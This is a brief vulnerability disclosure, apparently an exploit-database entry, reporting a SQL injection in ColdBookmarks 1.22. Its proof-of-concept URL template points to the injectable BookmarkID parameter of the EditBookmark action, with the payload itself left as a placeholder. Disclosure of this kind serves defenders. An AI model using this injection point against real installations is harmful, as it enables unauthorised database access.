ColdBookmarks 1.22 – SQL Injection
# ColdGen - coldbookmarks v1.22 Remote 0day SQL Injection vulnerability # Vendor: http://www.coldgen.com/ # Found by: mr_me (net-ninja.net) PoC http://[target]/[path]/index.cfm?fuseaction=EditBookmark&BookmarkID=[SQLi]&CFID=XXXXXX&CFTOKEN=XXXXXXXX |